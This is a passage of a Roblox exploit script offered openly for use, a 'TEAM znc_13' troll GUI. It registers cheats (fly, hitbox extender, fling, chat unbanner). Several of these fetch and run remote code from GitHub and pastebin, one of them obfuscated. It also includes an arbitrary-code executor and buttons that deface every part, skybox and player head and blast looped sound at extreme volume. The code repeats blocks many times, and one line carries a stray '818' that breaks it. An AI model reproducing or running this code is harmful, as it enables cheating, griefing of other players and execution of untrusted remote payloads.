camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.S) then dir = dir - camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.A) then dir = dir - camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.D) then dir = dir + camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.Space) then dir = dir + Vector3.new(0, 1, 0) end if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then dir = dir - Vector3.new(0, 1, 0) end if dir.Magnitude > 0 then dir = dir.Unit * 50 end flyBV.Velocity = dir flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector) end) else if flyConn then flyConn:Disconnect() flyConn = nil end if flyBG then flyBG:Destroy() flyBG = nil end if flyBV then flyBV:Destroy() flyBV = nil end end end, "Movement", "Fly around!") FunctionManager:register("HatHub", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))() end, "Troll", "Credits to original maker!") FunctionManager:register("Hitbox Extender", function() loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))() end, "Troll", "Extends hitboxes") FunctionManager:register("Part Grab", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))() end, "Troll", "Much better part grab") FunctionManager:register("Hat Script", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))() end, "Troll", "HATS") FunctionManager:register("PART ORBIT", function() loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))() end, "Troll", "Probs better orbit") FunctionManager:register("chat unbanner", function() loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))() end, "Utility", "Credits to the original maker!") FunctionManager:register("Fling GUI", function() loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))() end, "Troll", "Credits to the original maker!") --init updateGrid() end) end; task.spawn(C_7); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_9() local script = G2L["9"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer -- GUI principal local gui = Instance.new("ScreenGui") gui.Name = "CustomExecutor" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Ventana principal (más pequeña y semi-transparente) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 240) mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BackgroundTransparency = 0.3 mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui -- Título local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Text = "TEAM znc_13 Fuks Roblox" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.Font = Enum.Font.SourceSansBold title.Parent = mainFrame -- Cuadro de texto (fondo negro, más pequeño) local input = Instance.new("TextBox") input.Size = UDim2.new(0.9, 0, 0.55, 0) input.Position = UDim2.new(0.05, 0, 0.18, 0) input.BackgroundColor3 = Color3.fromRGB(0, 0, 0) input.BackgroundTransparency = 0 input.BorderSizePixel = 0 input.TextColor3 = Color3.new(1, 1, 1) input.Text = "" input.Font = Enum.Font.Code input.TextWrapped = true input.TextXAlignment = Enum.TextXAlignment.Left input.TextYAlignment = Enum.TextYAlignment.Top input.TextSize = 16 input.ClearTextOnFocus = false input.MultiLine = true input.Parent = mainFrame -- Crear botón local function createButton(text, position) local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, 90, 0, 30) btn.Position = position btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BackgroundTransparency = 0 btn.BorderSizePixel = 0 btn.Text = text btn.TextColor3 = Color3.new(1, 1, 1) btn.TextScaled = true btn.Font = Enum.Font.SourceSansBold btn.Parent = mainFrame return btn end -- Botones local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0)) local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0)) local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0)) -- Funciones executeBtn.MouseButton1Click:Connect(function() local code = input.Text if code and code ~= "" then pcall(function() loadstring(code)() end) end end) r6Btn.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local AvatarEditor = game:GetService("AvatarEditorService") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService") if _G.AvatarRigPromptUI then return end _G.AvatarRigPromptUI = true local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local RigUI = Instance.new("ScreenGui") RigUI.Name = "AvatarRigPromptUI" RigUI.ResetOnSpawn = false RigUI.Parent = playerGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 200, 0, 100) MainFrame.Position = UDim2.new(0.5, -100, 0, 20) MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35) MainFrame.Parent = RigUI local UIStroke = Instance.new("UIStroke") UIStroke.Thickness = 2 UIStroke.Color = Color3.fromRGB(100, 200, 255) UIStroke.Parent = MainFrame local dragActive, dragStart, frameStart MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = true dragStart = input.Position frameStart = MainFrame.Position end end) UIS.InputChanged:Connect(function(input) if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Position - dragStart MainFrame.Position = UDim2.new( frameStart.X.Scale, frameStart.X.Offset + delta.X, frameStart.Y.Scale, frameStart.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = false end end) local function ExecuteRigChange() local char = player.Character if not char then return end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then return end local desc = humanoid.HumanoidDescription:Clone() AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6) local result = AvatarEditor.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then humanoid.Health = 0 humanoid:ChangeState(Enum.HumanoidStateType.Dead) player.CharacterAdded:Wait() task.wait(1) local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid") if newHumanoid then newHumanoid:ApplyDescription(desc) newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6) end end end local R6Button = Instance.new("TextButton") R6Button.Text = "R6 MODE" R6Button.Size = UDim2.new(0.9, 0, 0.6, 0) R6Button.Position = UDim2.new(0.05, 0, 0.2, 0) R6Button.Font = Enum.Font.GothamBold R6Button.TextColor3 = Color3.new(1,1,1) R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200) R6Button.Parent = MainFrame R6Button.MouseButton1Click:Connect(function() TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play() ExecuteRigChange() task.wait(0.2) TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play() end) local CloseButton = Instance.new("TextButton") CloseButton.Text = "X" CloseButton.Size = UDim2.new(0, 24, 0, 24) CloseButton.Position = UDim2.new(1, -26, 0, 2) CloseButton.Font = Enum.Font.GothamBold CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60) CloseButton.BorderSizePixel = 0 CloseButton.Parent = MainFrame CloseButton.MouseButton1Click:Connect(function() RigUI:Destroy() _G.AvatarRigPromptUI = nil end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) end) end; task.spawn(C_9); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_b() local script = G2L["b"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.MouseButton1Down:Connect(function() local function write(text,object) if object:IsA("Hint") == true then local count = object:FindFirstChild("Count") if count == nil then count = Instance.new("NumberValue") count.Parent = object count.Name = "Count" count.Value = count.Value + 1 else count.Value = count.Value + 1 end local startcount = count.Value for i = 1,#text do if count.Value == startcount then local letter = string.sub(text,i,i) object.Text = string.sub(text,1,i) wait(0.001) else break end end end end local bro = Instance.new("Hint",workspace) write("TEAM znc_13 JOIN TODAY!",bro) end) end) end; task.spawn(C_b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_d() local script = G2L["d"]; function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting s.SkyboxBk = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxDn = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxFt = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxLf = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxRt = "http://www.roblox.com/asset/?id=103916363736246" s.SkyboxUp = "http://www.roblox.com/asset/?id=103916363736246" game.Lighting.TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_d); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_f() local script = G2L["f"]; function click() local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=103916363736246" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=103916363736246" Two.Texture = "http://www.roblox.com/asset/?id=103916363736246" Three.Texture = "http://www.roblox.com/asset/?id=103916363736246" Four.Texture = "http://www.roblox.com/asset/?id=103916363736246" Five.Texture = "http://www.roblox.com/asset/?id=103916363736246" Six.Texture = "http://www.roblox.com/asset/?id=103916363736246" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_f); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_11() local script = G2L["11"]; ---by 777 plz dont6 leak script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=103916363736246" emit.VelocitySpread = 100000 end end) end; task.spawn(C_11); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_13() local script = G2L["13"]; script.Parent.MouseButton1Down:Connect(function() imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end end) end; task.spawn(C_13); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_15() local script = G2L["15"]; function click() Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X") end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_15); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_17() local script = G2L["17"]; script.Parent.MouseButton1Click:Connect(function() for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) --bbg.StudsOffset=Vector3.new(0,2,0) tlb=Instance.new'TextLabel'; tlb.Text='GET HACKED MY TEAM znc_13 JOIN TODAY'; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1, 0.933333, 0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; s=Instance.new('SelectionBox',v); s.Adornee=v; s.Color=BrickColor.new'Fire Yellow'; a=Instance.new('PointLight',v); a.Color=Color3.new(1, 0.968627, 0); a.Range=15; a.Brightness=5; end; local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} --coroutine.wrap(function() --for ,_ in pairs(fac) do --local ddec = Instance.new("Decal", v) --ddec.Face = --ddec.Texture = dec --end end)() if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) end) end; task.spawn(C_17); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_19() local script = G2L["19"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_19); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1b() local script = G2L["1b"]; function click() function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=111604272791927" Two.Texture = "http://www.roblox.com/asset/?id=111604272791927" Three.Texture = "http://www.roblox.com/asset/?id=111604272791927" Four.Texture = "http://www.roblox.com/asset/?id=111604272791927" Five.Texture = "http://www.roblox.com/asset/?id=111604272791927" Six.Texture = "http://www.roblox.com/asset/?id=111604272791927" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head818 emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game:GetService("Lighting") s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927" game:GetService("Lighting").TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) ---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB: end; task.spawn(C_1b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1d() local script = G2L["1d"]; function onClick() local tubers93 = Instance.new("Sound") tubers93.Parent = game:GetService("Workspace") tubers93.SoundId = "rbxassetid://6129291390" tubers93.Playing = true tubers93.Looped = false tubers93.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_1d); -- StarterGui.ScreenGui.Frame.close.LocalScript local function C_1f() local script = G2L["1f"]; script.Parent.MouseButton1Click:Connect(function() 